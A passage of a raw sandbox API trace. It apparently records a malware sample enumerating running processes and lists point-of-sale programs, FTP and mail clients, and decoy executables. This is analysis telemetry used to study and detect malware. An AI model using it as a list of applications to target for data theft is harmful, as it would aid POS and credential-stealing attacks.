szExeFile="fpos.exe")) returned 1 [0278.315] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0278.318] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0278.321] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0278.324] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0278.329] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0278.333] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0278.335] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0278.339] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0278.343] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0278.346] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0278.348] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.350] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0278.352] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0278.360] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0278.363] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0278.365] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0278.367] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0278.369] CloseHandle (hObject=0x21b0) returned 1 [0278.370] Sleep (dwMilliseconds=0x64) [0278.371] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21b0 [0278.395] Process32First (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0278.398] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0278.400] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0278.402] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.404] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0278.433] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.440] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0278.442] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0278.444] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0278.447] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.449] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.451] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0278.453] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.455] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.457] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.459] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.462] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.464] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.503] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.505] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0278.507] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0278.508] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0278.510] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.512] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0278.514] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0278.516] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0278.518] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0278.519] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0278.521] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0278.523] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0278.525] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.527] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0278.529] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0278.532] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0278.534] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0278.536] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0278.538] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0278.539] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0278.541] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0278.544] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0278.545] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0278.547] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0278.549] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0278.551] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0278.553] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0278.555] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0278.557] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0278.559] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0278.560] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0278.562] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0278.565] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0278.566] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0278.568] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0278.570] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0278.572] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0278.574] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0278.576] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0278.577] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0278.580] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0278.583] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0278.585] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0278.587] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0278.590] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0278.593] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0278.596] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0278.598] Process32Next 